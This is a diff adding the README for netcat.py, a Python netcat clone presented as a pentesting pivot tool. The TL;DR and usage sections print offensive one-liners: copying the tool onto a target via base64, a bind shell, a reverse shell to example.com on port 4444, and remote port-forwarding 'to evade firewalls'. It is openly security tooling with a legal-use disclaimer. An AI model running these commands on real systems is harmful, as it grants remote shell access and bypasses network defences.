|
| 1 | +# netcat.py |
| 2 | + |
| 3 | +[](https://github.com/psf/black) |
| 4 | +[](https://pypi.org/project/netcat/) |
| 5 | +[](https://pypi.org/project/netcat/) |
| 6 | +[](https://pypi.org/project/netcat/) |
| 7 | +[](https://pypi.org/project/netcat/) |
| 8 | +[](https://pypi.org/project/netcat/) |
| 9 | +[](https://pypi.org/project/netcat/) |
| 10 | + |
| 11 | +[](https://github.com/cytopia/netcat/actions?workflow=linting) |
| 12 | +[](https://github.com/cytopia/netcat/actions?workflow=building) |
| 13 | + |
| 14 | + |
| 15 | +Dependency-less Python 2 and Python 3 compatible implementation of netcat which works on 32bit and 64bit systems to easily pivot your target. |
| 16 | + |
| 17 | +**Motivation** |
| 18 | + |
| 19 | +To have a single tool for older, newer, 32bit and 64bit machines with relevant options (`-e`. `-L` and `-R`) to create bind shells, local and remote port-forwards. |
| 20 | + |
| 21 | + |
| 22 | +## :tada: Install |
| 23 | +```bash |
| 24 | +pip install netcat |
| 25 | +``` |
| 26 | + |
| 27 | + |
| 28 | +## :coffee: TL;DR |
| 29 | + |
| 30 | +#### Copy to target |
| 31 | +```bash |
| 32 | +# Copy base64 data to clipboard from where you have internet access |
| 33 | +curl https://raw.githubusercontent.com/cytopia/netcat/master/bin/netcat.py | base64 |
| 34 | + |
| 35 | +# Paste it on the target machine |
| 36 | +echo "<BASE64 STRING>" | base64 -d > netcat.py |
| 37 | +chmod +x netcat.py |
| 38 | +``` |
| 39 | +#### Summon shells |
| 40 | +```bash |
| 41 | +# bind shell |
| 42 | +netcat.py -l -e '/bin/bash' 8080 |
| 43 | +``` |
| 44 | +```bash |
| 45 | +# reverse shell |
| 46 | +netcat.py -e '/bin/bash' example.com 4444 |
| 47 | +``` |
| 48 | +#### Port-forwarding without SSH |
| 49 | +```bash |
| 50 | +# Make local port available to public interface locally |
| 51 | +netcat.py -L 127.0.0.1:3306 192.168.0.1 3306 |
| 52 | +``` |
| 53 | +```bash |
| 54 | +# Remote port-forwarding to evade firewalls |
| 55 | +netcat.py -R 127.0.0.1:3306 example.com 4444 |
| 56 | +``` |
| 57 | + |
| 58 | + |
| 59 | +## :computer: Usage |
| 60 | +``` |
| 61 | +usage: netcat.py [-Cnuv] [-e cmd] hostname port |
| 62 | + netcat.py [-Cnuv] [-e cmd] -l [hostname] port |
| 63 | + netcat.py [-Cnuv] -L addr:port [hostname] port |
| 64 | + netcat.py [-Cnuv] -R addr:port hostname port |
| 65 | + netcat.py -V, --version |
| 66 | + netcat.py -h, --help |
| 67 | +
|
| 68 | +
|
| 69 | +Netcat implementation in Python with connect, listen and forward mode. |
| 70 | +
|
| 71 | +positional arguments: |
| 72 | + hostname Address to listen, forward or connect to |
| 73 | + port Port to listen, forward or connect to |
| 74 | +
|
| 75 | +mode arguments: |
| 76 | + -l, --listen Listen mode: Enable listen mode for inbound connects |
| 77 | + -L addr:port, --local addr:port |
| 78 | + Local forward mode: Specify local <addr>:<port> to which traffic |
| 79 | + should be forwarded to. |
| 80 | + Netcat will listen locally (specified by hostname and port) and |
| 81 | + forward all traffic to the specified value for -L/--local. |
| 82 | + -R addr:port, --remote addr:port |
| 83 | + Remote forward mode: Specify local <addr>:<port> from which traffic |
| 84 | + should be forwarded from. |
| 85 | + Netcat will connect remotely (specified by hostname and port) and |
| 86 | + for ward all traffic from the specified value for -R/--remote. |
| 87 | +
|
| 88 | +optional arguments: |
| 89 | + -e cmd, --exec cmd Execute shell command. Only works with connect or listen mode. |
| 90 | + -C, --crlf Send CRLF as line-endings (default: LF) |
| 91 | + -n, --nodns Do not resolve DNS |
| 92 | + -u, --udp UDP mode |
| 93 | + -v, --verbose Be verbose and print info to stderr. Use -vv or -vvv for more verbosity. |
| 94 | +
|
| 95 | +misc arguments: |
| 96 | + -h, --help Show this help message and exit |
| 97 | + -V, --version Show version information and exit |
| 98 | +
|
| 99 | +examples: |
| 100 | +
|
| 101 | + Create bind shell |
| 102 | + netcat.py -l -e '/bin/bash' 8080 |
| 103 | +
|
| 104 | + Create reverse shell |
| 105 | + netcat.py -e '/bin/bash' example.com 4444 |
| 106 | +
|
| 107 | + Local forward: Make localhost port available to another interface |
| 108 | + netcat.py -L 127.0.0.1:3306 192.168.0.1 3306 |
| 109 | +
|
| 110 | + Remote forward: Forward local port to remote server |
| 111 | + netcat.py -R 127.0.0.1:3306 example.com 4444 |
| 112 | +``` |
| 113 | + |
| 114 | + |
| 115 | +## :lock: [cytopia](https://github.com/cytopia) sec tools |
| 116 | + |
| 117 | +| Tool | Category | Language | Description | |
| 118 | +|------------------|----------------------|------------|-------------| |
| 119 | +| [smtp-user-enum] | Enumeration | Python 2+3 | SMTP users enumerator | |
| 120 | +| [urlbuster] | Enumeration | Python 2+3 | Mutable web directory fuzzer | |
| 121 | +| [netcat] | Pivoting | Python 2+3 | Cross-platform netcat | |
| 122 | +| [badchars] | Reverse Engineering | Python 2+3 | Badchar generator | |
| 123 | +| [fuzza] | Reverse Engineering | Python 2+3 | TCP fuzzing tool | |
| 124 | + |
| 125 | +[netcat]: https://github.com/cytopia/netcat |
| 126 | +[smtp-user-enum]: https://github.com/cytopia/smtp-user-enum |
| 127 | +[urlbuster]: https://github.com/cytopia/urlbuster |
| 128 | +[badchars]: https://github.com/cytopia/badchars |
| 129 | +[fuzza]: https://github.com/cytopia/fuzza |
| 130 | + |
| 131 | + |
| 132 | +## :exclamation: Disclaimer |
| 133 | + |
| 134 | +This tool may be used for legal purposes only. Users take full responsibility for any actions performed using this tool. The author accepts no liability for damage caused by this tool. If these terms are not acceptable to you, then do not use this tool. |
| 135 | + |
| 136 | + |
| 137 | +## :page_facing_up: License |
| 138 | + |
| 139 | +**[MIT License](LICENSE.txt)** |
| 140 | + |
| 141 | +Copyright (c) 2020 **[cytopia](https://github.com/cytopia)** |
0 commit comments